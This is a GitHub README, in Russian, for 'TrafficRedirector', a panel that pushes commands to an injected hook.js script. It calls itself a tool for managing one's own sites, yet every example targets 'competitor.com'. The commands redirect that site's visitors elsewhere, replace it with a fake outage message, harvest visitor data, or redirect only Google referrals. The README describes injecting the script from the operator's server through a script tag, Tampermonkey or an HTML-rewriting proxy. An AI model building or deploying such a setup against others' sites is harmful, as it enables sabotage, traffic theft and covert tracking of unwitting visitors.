Skip to content

Repository files navigation

TrafficRedirector - Система управления трафиком

Полнофункциональная система для управления редиректами и мониторинга клиентов.

📝 Описание

TrafficRedirector — это связка из трёх компонентов:

  • Back-end (FastAPI + SQLite) — хранит команды для доменов, аутентифицирует пользователей и принимает отчёты от клиентского скрипта.
  • Front-end (Express.js) — админ-панель, через которую вы создаёте, включаете/отключаете и удаляете команды, а также просматриваете статистику и отчёты.
  • Hook (hook.js) — лёгкий клиентский скрипт, который подключается на целевой странице и на основании команд с бэкенда выполняет нужное действие (редирект, сбор информации, отключение сайта и т.д.).

Проект удобен для сценариев, где нужно централизованно управлять поведением собственных сайтов/лендингов без их передеплоя: включить редирект, временно отключить страницу или собрать статистику по посетителям — всё меняется на лету через панель управления.

🖥️ Скриншот админ-панели

Админ-панель TrafficRedirector

📁 Структура проекта

TrafficRedirector/
├── Back-end/              # FastAPI Backend (Python)
│   ├── auth.py           # Аутентификация и JWT
│   ├── config.py         # Настройки
│   ├── db.py             # База данных SQLite
│   ├── main.py           # Основное API
│   ├── models.py         # Модели данных
│   ├── requirements.txt  # Python зависимости
│   └── data/            # База данных (создается автоматически)
│
├── Front-end/            # Express.js Frontend
│   ├── app.js                # Proxy сервер
│   ├── dashboard_new.html    # Админ-панель
│   ├── dashboard_new.js      # Логика панели
│   ├── index.html            # Главная страница
│   ├── login.html            # Вход
│   ├── register.html         # Регистрация
│   ├── style.css             # Стили
│   ├── hook.js               # hook.js для раздачи
│   └── package.json          # Node.js зависимости
│
├── Hook/                 # Клиентский скрипт
│   ├── hook.js          # Основной скрипт
│   └── example.html     # Пример использования
│
└── Документация/
    ├── README.md              # Этот файл
    ├── QUICKSTART.md          # Быстрый старт
    ├── INSTALLATION.md        # Подробная установка
    ├── API_EXAMPLES.md        # Примеры API
    ├── TROUBLESHOOTING.md     # Решение проблем
    ├── CHANGES.md             # Список изменений
    ├── FILES_DESCRIPTION.md   # Описание файлов
    └── LICENSE               # Лицензия MIT

🚀 Быстрый старт

Шаг 1: Установка зависимостей

Backend

cd Back-end
pip install -r requirements.txt

Frontend

cd Front-end
npm install

Шаг 2: Настройка окружения

Создайте .env файл в директории Back-end:

SECRET_KEY=your-secret-key-here-min-32-chars
DATABASE_URL=sqlite:///./data/users.db
FRONTEND_ORIGINS=http://localhost:3000,http://localhost:5173
COOKIE_SECURE=False
ACCESS_TOKEN_EXPIRE_SECONDS=604800
PORT=8000
DEBUG=False

Шаг 3: Запуск

Backend (Терминал 1)

cd Back-end
uvicorn main:app --host 0.0.0.0 --port 8000 --reload

Frontend (Терминал 2)

cd Front-end
node app.js

Шаг 4: Доступ

Использование

1. Регистрация и вход

  1. Откройте http://localhost:3000/register.html
  2. Создайте аккаунт
  3. Войдите в систему

2. Создание команды

В админ-панели:

  1. Нажмите "+ Добавить команду"
  2. Заполните форму:
    • Домен: competitor.com (домен целевого сайта)
    • Действие: Выберите тип действия
    • Дополнительные поля: В зависимости от действия

Типы действий:

a) Redirect (Редирект)

  • Перенаправляет всех посетителей на ваш сайт
  • Требует: URL цели

b) Check Info (Сбор информации)

  • Собирает данные о посетителях (User-Agent, Referrer)
  • Данные сохраняются в разделе "Отчеты"

c) Disable Site (Отключить сайт)

  • Показывает сообщение вместо сайта
  • Требует: Текст сообщения

d) Conditional Redirect (Условный редирект)

  • Редиректит только если условие выполнено
  • Требует: URL цели + условие (например, referrer)

3. Внедрение hook.js на целевой сайт

Вариант A: Прямое внедрение в HTML

<script src="http://your-server.com/hook.js"></script>

Вариант B: Через расширение браузера

Используйте расширение типа "Tampermonkey" для автоматического внедрения скрипта.

Вариант C: Через proxy/CDN

Настройте прокси-сервер для автоматической инъекции скрипта в HTML.

4. Мониторинг

В админ-панели:

  • Статистика: Общее количество команд, активных команд, отчетов
  • Таблица команд: Список всех команд с возможностью управления
  • Отчеты: Последние отчеты от клиентов с деталями

API Endpoints

Публичные (без авторизации)

POST /api/register
POST /api/login
POST /api/commands          # Проверка команд для домена
POST /api/commands/info     # Отправка отчета от клиента

Защищенные (требуют авторизации)

GET  /api/me
POST /api/logout
GET  /api/admin/commands           # Список всех команд
POST /api/admin/commands           # Создать команду
DELETE /api/admin/commands/{id}    # Удалить команду
GET  /api/admin/reports            # Список отчетов от клиентов

Примеры команд

1. Простой редирект

{
  "domain": "competitor.com",
  "action": "redirect",
  "target": "https://your-site.com",
  "active": true
}

2. Условный редирект (только с Google)

{
  "domain": "competitor.com",
  "action": "conditional_redirect",
  "target": "https://your-site.com",
  "condition": {
    "referrer": "google.com"
  },
  "active": true
}

3. Отключение сайта

{
  "domain": "competitor.com",
  "action": "disable_site",
  "message": "Сайт временно недоступен",
  "active": true
}

4. Сбор информации

{
  "domain": "competitor.com",
  "action": "check_info",
  "active": true
}

Структура файлов

project/
├── backend/
│   ├── main.py              # Основное API
│   ├── auth.py              # Аутентификация
│   ├── models.py            # Модели БД
│   ├── db.py                # Подключение к БД
│   ├── config.py            # Настройки
│   ├── requirements.txt     # Зависимости Python
│   └── data/
│       └── users.db         # База данных SQLite
│
├── frontend/
│   ├── app.js               # Express прокси-сервер
│   ├── dashboard_new.html   # Админ-панель
│   ├── dashboard_new.js     # Логика панели
│   ├── style.css            # Стили
│   ├── index.html           # Главная страница
│   ├── login.html           # Страница входа
│   ├── register.html        # Страница регистрации
│   └── package.json         # Зависимости Node.js
│
└── client/
    ├── hook.js              # Клиентский скрипт
    └── index.html           # Пример внедрения

Безопасность

Рекомендации для Production:

  1. SECRET_KEY: Используйте криптостойкий ключ минимум 32 символа
  2. COOKIE_SECURE: Установите True для HTTPS
  3. CORS: Ограничьте список разрешенных origins
  4. Rate Limiting: Добавьте ограничение запросов на /api/login
  5. HTTPS: Обязательно используйте SSL/TLS
  6. Firewall: Ограничьте доступ к backend только с frontend IP

Изменения для Production:

В main.py:

app.add_middleware(
    CORSMiddleware,
    allow_origins=settings.origins_list,  # Вместо ["*"]
    allow_credentials=True,
    allow_methods=["*"],
    allow_headers=["*"],
)

В .env:

SECRET_KEY=generate-strong-key-with-secrets-token-urlsafe
COOKIE_SECURE=True
DEBUG=False
FRONTEND_ORIGINS=https://yourdomain.com

Troubleshooting

Backend не запускается

# Проверьте установку зависимостей
pip install -r requirements.txt

# Проверьте порт
lsof -i :8000

# Проверьте логи
python main.py

Frontend не подключается к Backend

  • Проверьте API_TARGET в app.js
  • Убедитесь что backend запущен на правильном порту
  • Проверьте CORS настройки в main.py

Hook.js не работает

  • Проверьте serverUrl в hook.js
  • Убедитесь что скрипт корректно внедрен в HTML
  • Проверьте консоль браузера на ошибки
  • Убедитесь что домен в команде совпадает с window.location.hostname

База данных не создается

# Создайте директорию вручную
mkdir -p backend/data

# Проверьте права доступа
chmod 755 backend/data

Development

Добавление новых действий

  1. Обновите hook.js:
case 'your_new_action':
    // Ваш код
    break;
  1. Обновите dashboard_new.html:
<option value="your_new_action">Название действия</option>
  1. Обновите логику отображения полей в dashboard_new.js

Лицензия

MIT License

Автор

My Redirector Team

About

Traffic redirect & monitoring control panel — FastAPI backend, Express admin dashboard and a lightweight hook.js for on-the-fly site behavior control

Topics

Resources

Stars

1 star

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages